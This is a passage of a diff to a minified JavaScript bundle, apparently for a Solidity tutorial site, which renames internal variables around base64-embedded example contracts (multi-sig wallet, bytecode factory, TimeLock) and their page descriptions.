nNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50MjU2IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50MjU2IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],_u=`

            Let's create an multi-sig wallet. Here are the specifications.

            The wallet owners can

            • submit a transaction
              • @@ -2426,7 +2426,7 @@ How to swap tokens return abi.encodeWithSignature("callMe(uint256)", 123); } } -`,Lu=({prev:s,next:a})=>r.jsx(u,{version:Eu,title:Uu,description:Tu,html:Du,prev:s,next:a,codes:Qu}),_u="0.8.24",Ou="Simple Bytecode Contract",Pu="Simple example of contract written in bytecode",$u=[{fileName:"Factory.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgNDIKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSBoZXgiNjk2MDJhNjAwMDUyNjAyMDYwMDBmMzYwMDA1MjYwMGE2MDE2ZjMiOwogICAgICAgIGFkZHJlc3MgYWRkcjsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIGNyZWF0ZSh2YWx1ZSwgb2Zmc2V0LCBzaXplKQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZSgwLCBhZGQoYnl0ZWNvZGUsIDB4MjApLCAweDEzKQogICAgICAgIH0KICAgICAgICByZXF1aXJlKGFkZHIgIT0gYWRkcmVzcygwKSk7CgogICAgICAgIGVtaXQgTG9nKGFkZHIpOwogICAgfQp9CgppbnRlcmZhY2UgSUNvbnRyYWN0IHsKICAgIGZ1bmN0aW9uIGdldE1lYW5pbmdPZkxpZmUoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwp9CgovLyBodHRwczovL3d3dy5ldm0uY29kZXMvcGxheWdyb3VuZAovKgpSdW4gdGltZSBjb2RlIC0gcmV0dXJuIDQyCjYwMmE2MDAwNTI2MDIwNjAwMGYzCgovLyBTdG9yZSA0MiB0byBtZW1vcnkKbXN0b3JlKHAsIHYpIC0gc3RvcmUgdiBhdCBtZW1vcnkgcCB0byBwICsgMzIKClBVU0gxIDB4MmEKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAzMiBieXRlcyBmcm9tIG1lbW9yeQpyZXR1cm4ocCwgcykgLSBlbmQgZXhlY3V0aW9uIGFuZCByZXR1cm4gZGF0YSBmcm9tIG1lbW9yeSBwIHRvIHAgKyBzCgpQVVNIMSAweDIwClBVU0gxIDAKUkVUVVJOCgpDcmVhdGlvbiBjb2RlIC0gcmV0dXJuIHJ1bnRpbWUgY29kZQo2OTYwMmE2MDAwNTI2MDIwNjAwMGYzNjAwMDUyNjAwYTYwMTZmMwoKLy8gU3RvcmUgcnVuIHRpbWUgY29kZSB0byBtZW1vcnkKUFVTSDEwIDBYNjAyYTYwMDA1MjYwMjA2MDAwZjMKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAxMCBieXRlcyBmcm9tIG1lbW9yeSBzdGFydGluZyBhdCBvZmZzZXQgMjIKUFVTSDEgMHgwYQpQVVNIMSAweDE2ClJFVFVSTgoqLwo="}],qu=`

              Simple example of contract written in bytecode

              +`,Lu=({prev:s,next:a})=>r.jsx(u,{version:Du,title:Tu,description:Uu,html:_u,prev:s,next:a,codes:Qu}),Ou="0.8.24",Pu="Simple Bytecode Contract",$u="Simple example of contract written in bytecode",qu=[{fileName:"Factory.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgNDIKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSBoZXgiNjk2MDJhNjAwMDUyNjAyMDYwMDBmMzYwMDA1MjYwMGE2MDE2ZjMiOwogICAgICAgIGFkZHJlc3MgYWRkcjsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIGNyZWF0ZSh2YWx1ZSwgb2Zmc2V0LCBzaXplKQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZSgwLCBhZGQoYnl0ZWNvZGUsIDB4MjApLCAweDEzKQogICAgICAgIH0KICAgICAgICByZXF1aXJlKGFkZHIgIT0gYWRkcmVzcygwKSk7CgogICAgICAgIGVtaXQgTG9nKGFkZHIpOwogICAgfQp9CgppbnRlcmZhY2UgSUNvbnRyYWN0IHsKICAgIGZ1bmN0aW9uIGdldE1lYW5pbmdPZkxpZmUoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwp9CgovLyBodHRwczovL3d3dy5ldm0uY29kZXMvcGxheWdyb3VuZAovKgpSdW4gdGltZSBjb2RlIC0gcmV0dXJuIDQyCjYwMmE2MDAwNTI2MDIwNjAwMGYzCgovLyBTdG9yZSA0MiB0byBtZW1vcnkKbXN0b3JlKHAsIHYpIC0gc3RvcmUgdiBhdCBtZW1vcnkgcCB0byBwICsgMzIKClBVU0gxIDB4MmEKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAzMiBieXRlcyBmcm9tIG1lbW9yeQpyZXR1cm4ocCwgcykgLSBlbmQgZXhlY3V0aW9uIGFuZCByZXR1cm4gZGF0YSBmcm9tIG1lbW9yeSBwIHRvIHAgKyBzCgpQVVNIMSAweDIwClBVU0gxIDAKUkVUVVJOCgpDcmVhdGlvbiBjb2RlIC0gcmV0dXJuIHJ1bnRpbWUgY29kZQo2OTYwMmE2MDAwNTI2MDIwNjAwMGYzNjAwMDUyNjAwYTYwMTZmMwoKLy8gU3RvcmUgcnVuIHRpbWUgY29kZSB0byBtZW1vcnkKUFVTSDEwIDBYNjAyYTYwMDA1MjYwMjA2MDAwZjMKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAxMCBieXRlcyBmcm9tIG1lbW9yeSBzdGFydGluZyBhdCBvZmZzZXQgMjIKUFVTSDEgMHgwYQpQVVNIMSAweDE2ClJFVFVSTgoqLwo="}],sA=`

              Simple example of contract written in bytecode

              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2483,7 +2483,7 @@ PUSH1 0x0a
 PUSH1 0x16
 RETURN
 */
-
              `,sy=({prev:s,next:a})=>r.jsx(u,{version:_u,title:Ou,description:Pu,html:qu,prev:s,next:a,codes:$u}),ay="0.8.24",ny="Time Lock",ly="Time Lock",py=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQyNTYgYmxvY2tUaW1lc3RhbXAsIHVpbnQyNTYgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50MjU2IGJsb2NrVGltZXN0bWFwLCB1aW50MjU2IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludDI1NiBibG9ja1RpbWVzdGFtcCwgdWludDI1NiBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQyNTYgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgc3RyaW5nIGZ1bmMsCiAgICAgICAgYnl0ZXMgZGF0YSwKICAgICAgICB1aW50MjU2IHRpbWVzdGFtcAogICAgKTsKICAgIGV2ZW50IENhbmNlbChieXRlczMyIGluZGV4ZWQgdHhJZCk7CgogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgTUlOX0RFTEFZID0gMTA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9ERUxBWSA9IDEwMDA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IEdSQUNFX1BFUklPRCA9IDEwMDA7IC8vIHNlY29uZHMKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIC8vIHR4IGlkID0+IHF1ZXVlZAogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBxdWV1ZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciAhPSBvd25lcikgewogICAgICAgICAgICByZXZlcnQgTm90T3duZXJFcnJvcigpOwogICAgICAgIH0KICAgICAgICBfOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0VHhJZCgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludDI1NiBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIF9kYXRhLAogICAgICAgIHVpbnQyNTYgX3RpbWVzdGFtcAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAcGFyYW0gX3RhcmdldCBBZGRyZXNzIG9mIGNvbnRyYWN0IG9yIGFjY291bnQgdG8gY2FsbAogICAgICogQHBhcmFtIF92YWx1ZSBBbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAqIEBwYXJhbSBfZnVuYyBGdW5jdGlvbiBzaWduYXR1cmUsIGZvciBleGFtcGxlICJmb28oYWRkcmVzcyx1aW50MjU2KSIKICAgICAqIEBwYXJhbSBfZGF0YSBBQkkgZW5jb2RlZCBkYXRhIHNlbmQuCiAgICAgKiBAcGFyYW0gX3RpbWVzdGFtcCBUaW1lc3RhbXAgYWZ0ZXIgd2hpY2ggdGhlIHRyYW5zYWN0aW9uIGNhbiBiZSBleGVjdXRlZC4KICAgICAqLwogICAgZnVuY3Rpb24gcXVldWUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgb25seU93bmVyIHJldHVybnMgKGJ5dGVzMzIgdHhJZCkgewogICAgICAgIHR4SWQgPSBnZXRUeElkKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKICAgICAgICBpZiAocXVldWVkW3R4SWRdKSB7CiAgICAgICAgICAgIHJldmVydCBBbHJlYWR5UXVldWVkRXJyb3IodHhJZCk7CiAgICAgICAgfQogICAgICAgIC8vIC0tLXwtLS0tLS0tLS0tLS18LS0tLS0tLS0tLS0tLS0tfC0tLS0tLS0KICAgICAgICAvLyAgYmxvY2sgICAgYmxvY2sgKyBtaW4gICAgIGJsb2NrICsgbWF4CiAgICAgICAgaWYgKAogICAgICAgICAgICBfdGltZXN0YW1wIDwgYmxvY2sudGltZXN0YW1wICsgTUlOX0RFTEFZCiAgICAgICAgICAgICAgICB8fCBfdGltZXN0YW1wID4gYmxvY2sudGltZXN0YW1wICsgTUFYX0RFTEFZCiAgICAgICAgKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBOb3RJblJhbmdlRXJyb3IoYmxvY2sudGltZXN0YW1wLCBfdGltZXN0YW1wKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IHRydWU7CgogICAgICAgIGVtaXQgUXVldWUodHhJZCwgX3RhcmdldCwgX3ZhbHVlLCBfZnVuYywgX2RhdGEsIF90aW1lc3RhbXApOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgcGF5YWJsZSBvbmx5T3duZXIgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMzMiB0eElkID0gZ2V0VHhJZChfdGFyZ2V0LCBfdmFsdWUsIF9mdW5jLCBfZGF0YSwgX3RpbWVzdGFtcCk7CiAgICAgICAgaWYgKCFxdWV1ZWRbdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKHR4SWQpOwogICAgICAgIH0KICAgICAgICAvLyAtLS0tfC0tLS0tLS0tLS0tLS0tLS0tLS18LS0tLS0tLQogICAgICAgIC8vICB0aW1lc3RhbXAgICAgdGltZXN0YW1wICsgZ3JhY2UgcGVyaW9kCiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA8IF90aW1lc3RhbXApIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcE5vdFBhc3NlZEVycm9yKGJsb2NrLnRpbWVzdGFtcCwgX3RpbWVzdGFtcCk7CiAgICAgICAgfQogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgPiBfdGltZXN0YW1wICsgR1JBQ0VfUEVSSU9EKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBFeHBpcmVkRXJyb3IoCiAgICAgICAgICAgICAgICBibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IGZhbHNlOwoKICAgICAgICAvLyBwcmVwYXJlIGRhdGEKICAgICAgICBieXRlcyBtZW1vcnkgZGF0YTsKICAgICAgICBpZiAoYnl0ZXMoX2Z1bmMpLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgLy8gZGF0YSA9IGZ1bmMgc2VsZWN0b3IgKyBfZGF0YQogICAgICAgICAgICBkYXRhID0gYWJpLmVuY29kZVBhY2tlZChieXRlczQoa2VjY2FrMjU2KGJ5dGVzKF9mdW5jKSkpLCBfZGF0YSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gY2FsbCBmYWxsYmFjayB3aXRoIGRhdGEKICAgICAgICAgICAgZGF0YSA9IF9kYXRhOwogICAgICAgIH0KCiAgICAgICAgLy8gY2FsbCB0YXJnZXQKICAgICAgICAoYm9vbCBvaywgYnl0ZXMgbWVtb3J5IHJlcykgPSBfdGFyZ2V0LmNhbGx7dmFsdWU6IF92YWx1ZX0oZGF0YSk7CiAgICAgICAgaWYgKCFvaykgewogICAgICAgICAgICByZXZlcnQgVHhGYWlsZWRFcnJvcigpOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBFeGVjdXRlKHR4SWQsIF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKCiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBjYW5jZWwoYnl0ZXMzMiBfdHhJZCkgZXh0ZXJuYWwgb25seU93bmVyIHsKICAgICAgICBpZiAoIXF1ZXVlZFtfdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKF90eElkKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFtfdHhJZF0gPSBmYWxzZTsKCiAgICAgICAgZW1pdCBDYW5jZWwoX3R4SWQpOwogICAgfQp9Cg=="}],ey=`

              TimeLock is a contract that publishes a transaction to be executed in the future. +`,aA=({prev:s,next:a})=>r.jsx(u,{version:Ou,title:Pu,description:$u,html:sA,prev:s,next:a,codes:qu}),nA="0.8.24",lA="Time Lock",pA="Time Lock",eA=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQyNTYgYmxvY2tUaW1lc3RhbXAsIHVpbnQyNTYgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50MjU2IGJsb2NrVGltZXN0bWFwLCB1aW50MjU2IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludDI1NiBibG9ja1RpbWVzdGFtcCwgdWludDI1NiBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQyNTYgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgc3RyaW5nIGZ1bmMsCiAgICAgICAgYnl0ZXMgZGF0YSwKICAgICAgICB1aW50MjU2IHRpbWVzdGFtcAogICAgKTsKICAgIGV2ZW50IENhbmNlbChieXRlczMyIGluZGV4ZWQgdHhJZCk7CgogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgTUlOX0RFTEFZID0gMTA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9ERUxBWSA9IDEwMDA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IEdSQUNFX1BFUklPRCA9IDEwMDA7IC8vIHNlY29uZHMKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIC8vIHR4IGlkID0+IHF1ZXVlZAogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBxdWV1ZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciAhPSBvd25lcikgewogICAgICAgICAgICByZXZlcnQgTm90T3duZXJFcnJvcigpOwogICAgICAgIH0KICAgICAgICBfOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0VHhJZCgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludDI1NiBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIF9kYXRhLAogICAgICAgIHVpbnQyNTYgX3RpbWVzdGFtcAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAcGFyYW0gX3RhcmdldCBBZGRyZXNzIG9mIGNvbnRyYWN0IG9yIGFjY291bnQgdG8gY2FsbAogICAgICogQHBhcmFtIF92YWx1ZSBBbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAqIEBwYXJhbSBfZnVuYyBGdW5jdGlvbiBzaWduYXR1cmUsIGZvciBleGFtcGxlICJmb28oYWRkcmVzcyx1aW50MjU2KSIKICAgICAqIEBwYXJhbSBfZGF0YSBBQkkgZW5jb2RlZCBkYXRhIHNlbmQuCiAgICAgKiBAcGFyYW0gX3RpbWVzdGFtcCBUaW1lc3RhbXAgYWZ0ZXIgd2hpY2ggdGhlIHRyYW5zYWN0aW9uIGNhbiBiZSBleGVjdXRlZC4KICAgICAqLwogICAgZnVuY3Rpb24gcXVldWUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgb25seU93bmVyIHJldHVybnMgKGJ5dGVzMzIgdHhJZCkgewogICAgICAgIHR4SWQgPSBnZXRUeElkKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKICAgICAgICBpZiAocXVldWVkW3R4SWRdKSB7CiAgICAgICAgICAgIHJldmVydCBBbHJlYWR5UXVldWVkRXJyb3IodHhJZCk7CiAgICAgICAgfQogICAgICAgIC8vIC0tLXwtLS0tLS0tLS0tLS18LS0tLS0tLS0tLS0tLS0tfC0tLS0tLS0KICAgICAgICAvLyAgYmxvY2sgICAgYmxvY2sgKyBtaW4gICAgIGJsb2NrICsgbWF4CiAgICAgICAgaWYgKAogICAgICAgICAgICBfdGltZXN0YW1wIDwgYmxvY2sudGltZXN0YW1wICsgTUlOX0RFTEFZCiAgICAgICAgICAgICAgICB8fCBfdGltZXN0YW1wID4gYmxvY2sudGltZXN0YW1wICsgTUFYX0RFTEFZCiAgICAgICAgKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBOb3RJblJhbmdlRXJyb3IoYmxvY2sudGltZXN0YW1wLCBfdGltZXN0YW1wKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IHRydWU7CgogICAgICAgIGVtaXQgUXVldWUodHhJZCwgX3RhcmdldCwgX3ZhbHVlLCBfZnVuYywgX2RhdGEsIF90aW1lc3RhbXApOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgcGF5YWJsZSBvbmx5T3duZXIgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMzMiB0eElkID0gZ2V0VHhJZChfdGFyZ2V0LCBfdmFsdWUsIF9mdW5jLCBfZGF0YSwgX3RpbWVzdGFtcCk7CiAgICAgICAgaWYgKCFxdWV1ZWRbdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKHR4SWQpOwogICAgICAgIH0KICAgICAgICAvLyAtLS0tfC0tLS0tLS0tLS0tLS0tLS0tLS18LS0tLS0tLQogICAgICAgIC8vICB0aW1lc3RhbXAgICAgdGltZXN0YW1wICsgZ3JhY2UgcGVyaW9kCiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA8IF90aW1lc3RhbXApIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcE5vdFBhc3NlZEVycm9yKGJsb2NrLnRpbWVzdGFtcCwgX3RpbWVzdGFtcCk7CiAgICAgICAgfQogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgPiBfdGltZXN0YW1wICsgR1JBQ0VfUEVSSU9EKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBFeHBpcmVkRXJyb3IoCiAgICAgICAgICAgICAgICBibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IGZhbHNlOwoKICAgICAgICAvLyBwcmVwYXJlIGRhdGEKICAgICAgICBieXRlcyBtZW1vcnkgZGF0YTsKICAgICAgICBpZiAoYnl0ZXMoX2Z1bmMpLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgLy8gZGF0YSA9IGZ1bmMgc2VsZWN0b3IgKyBfZGF0YQogICAgICAgICAgICBkYXRhID0gYWJpLmVuY29kZVBhY2tlZChieXRlczQoa2VjY2FrMjU2KGJ5dGVzKF9mdW5jKSkpLCBfZGF0YSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gY2FsbCBmYWxsYmFjayB3aXRoIGRhdGEKICAgICAgICAgICAgZGF0YSA9IF9kYXRhOwogICAgICAgIH0KCiAgICAgICAgLy8gY2FsbCB0YXJnZXQKICAgICAgICAoYm9vbCBvaywgYnl0ZXMgbWVtb3J5IHJlcykgPSBfdGFyZ2V0LmNhbGx7dmFsdWU6IF92YWx1ZX0oZGF0YSk7CiAgICAgICAgaWYgKCFvaykgewogICAgICAgICAgICByZXZlcnQgVHhGYWlsZWRFcnJvcigpOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBFeGVjdXRlKHR4SWQsIF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKCiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBjYW5jZWwoYnl0ZXMzMiBfdHhJZCkgZXh0ZXJuYWwgb25seU93bmVyIHsKICAgICAgICBpZiAoIXF1ZXVlZFtfdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKF90eElkKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFtfdHhJZF0gPSBmYWxzZTsKCiAgICAgICAgZW1pdCBDYW5jZWwoX3R4SWQpOwogICAgfQp9Cg=="}],cA=`

              TimeLock is a contract that publishes a transaction to be executed in the future. After a mimimum waiting period, the transaction can be executed.

              TimeLocks are commonly used in DAOs.

              // SPDX-License-Identifier: MIT
@@ -2634,7 +2634,7 @@ After a mimimum waiting period, the transaction can be executed.
              
         emit Cancel(_txId);
     }
 }
-
